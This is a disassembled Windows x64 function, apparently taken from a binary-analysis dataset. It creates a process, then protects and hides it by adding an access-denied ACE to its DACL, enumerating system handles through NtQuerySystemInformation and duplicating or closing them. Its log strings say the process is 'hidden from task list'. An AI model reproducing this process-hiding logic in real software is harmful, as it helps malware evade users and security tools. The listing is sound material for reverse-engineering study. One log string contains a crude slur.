Function at 0x140002180
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0x38]
sub rsp, 0x138
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
lea rcx, str.erm.exe
xor eax, eax
xor edi, edi
mov qword [rbp], rax
xor r9d, r9d
mov qword [rbp - 0x70], rax
xor r8d, r8d
mov eax, 1
xor edx, edx
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x24], eax
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], ax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], edi
movups xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x60], 0x68
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000267a
xorps xmm0, xmm0
mov qword [rsp + 0x150], rbx
mov ecx, 0x20
mov qword [rsp + 0x120], r15
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
call fcn.1400036c8
movups xmm0, xmmword [str.Detected_ByGay_PID..]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x14
mov qword [rsp + 0x68], 0x1f
movups xmmword [rax], xmm0
mov ecx, dword [0x1400057b0]
mov dword [rax + 0x10], ecx
lea rcx, [rsp + 0x50]
mov byte [rax + 0x14], dil
call section..text
mov ecx, dword [rbp - 0x70]
call fcn.140001b30
test al, al
je 0x14000237a
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
mov ecx, 0x30
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
call fcn.1400036c8
movups xmm0, xmmword [str.Added_Access_Denied_ACE_added_to_DACL]
mov qword [rsp + 0x50], rax
mov rdx, rax
mov qword [rsp + 0x60], 0x25
mov qword [rsp + 0x68], 0x2f
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400057c8]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1400057d8]
mov dword [rax + 0x20], ecx
lea rcx, [rsp + 0x50]
movzx eax, byte [0x1400057dc]
mov byte [rdx + 0x24], al
mov byte [rdx + 0x25], dil
call section..text
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
mov ecx, 0x20
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
call fcn.1400036c8
movups xmm0, xmmword [str.Added_SetKernelObjectSecurity]
mov qword [rsp + 0x50], rax
mov rdx, rax
mov qword [rsp + 0x60], 0x1d
mov qword [rsp + 0x68], 0x1f
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400057f0]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400057f8]
mov dword [rax + 0x18], ecx
lea rcx, [rsp + 0x50]
movzx eax, byte [0x1400057fc]
mov byte [rdx + 0x1c], al
mov byte [rdx + 0x1d], dil
call section..text
mov ecx, dword [rbp - 0x70]
call fcn.1400020a0
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
mov ecx, 0x20
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
call fcn.1400036c8
movups xmm0, xmmword [str.Set_ByGay_OpenHandles_to_hidden]
mov qword [rsp + 0x50], rax
mov rdx, rax
mov qword [rsp + 0x60], 0x1f
mov qword [rsp + 0x68], 0x1f
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140005810]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x140005818]
mov dword [rax + 0x18], ecx
lea rcx, [rsp + 0x50]
movzx eax, word [0x14000581c]
mov word [rdx + 0x1c], ax
movzx eax, byte [0x14000581e]
mov byte [rdx + 0x1e], al
mov byte [rdx + 0x1f], dil
call section..text
mov r15, qword [rbp - 0x70]
xor edx, edx
mov r8d, r15d
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x70], rax
mov rbx, rax
test rax, rax
je 0x1400025d9
lea rcx, str.ntdll.dll
mov qword [rsp + 0x160], r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
test rax, rax
jne 0x14000244f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400025d1
lea rdx, str.NtQuerySystemInformation
mov qword [rsp + 0x130], r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1400025b5
xor edx, edx
mov dword [rsp + 0x78], edi
lea r9, [rsp + 0x78]
xor r8d, r8d
lea ecx, [rdx + 0x40]
call rbx
mov eax, dword [rsp + 0x78]
test eax, eax
je 0x1400025b5
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r13, rax
test rax, rax
je 0x1400025b5
mov r8d, dword [rsp + 0x78]
xor r9d, r9d
mov rdx, rax
lea ecx, [r9 + 0x40]
call rbx
test eax, eax
jne 0x14000259b
mov ecx, dword [rsp + 0x78]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
mov qword [rsp + 0x128], r14
mov r14, rdx
shr r14, 4
test r14d, r14d
je 0x1400025ae
mov rbx, r13
mov qword [rsp + 0x158], rsi
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movd eax, xmm1
movsd qword [rsp + 0x60], xmm0
cmp eax, r15d
jne 0x140002530
movq rax, xmm1
shr rax, 0x30
cmp eax, 0xffff
je 0x140002530
xor edx, edx
mov r8d, r15d
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x140002560
inc edi
add rbx, 0x18
cmp edi, r14d
jb 0x1400024f3
mov rbx, qword [rsp + 0x70]
xor edi, edi
mov rsi, qword [rsp + 0x158]
mov r14, qword [rsp + 0x128]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbx
jmp 0x1400025ba
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, qword [rsp + 0x70]
lea r9, [rbp - 0x68]
xor edi, edi
mov dword [rsp + 0x30], 1
mov rcx, rax
mov dword [rsp + 0x28], edi
mov r8, rbx
mov dword [rsp + 0x20], edi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002542
mov rbx, qword [rsp + 0x70]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbx
jmp 0x1400025ba
mov rbx, qword [rsp + 0x70]
jmp 0x14000254a
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r13, qword [rsp + 0x130]
mov r12, qword [rsp + 0x160]
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
mov ecx, 0x30
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
call fcn.1400036c8
movups xmm0, xmmword [str.Set_ByGay_Process_hidden_from_task_list]
mov qword [rsp + 0x50], rax
mov rdx, rax
mov qword [rsp + 0x60], 0x27
mov qword [rsp + 0x68], 0x2f
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140005830]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140005840]
mov dword [rax + 0x20], ecx
lea rcx, [rsp + 0x50]
movzx eax, word [0x140005844]
mov word [rdx + 0x24], ax
movzx eax, byte [0x140005846]
mov byte [rdx + 0x26], al
mov byte [rdx + 0x27], 0
call section..text
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x120]
mov al, 1
mov rbx, qword [rsp + 0x150]
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140003580
add rsp, 0x138
pop rdi
pop rbp
ret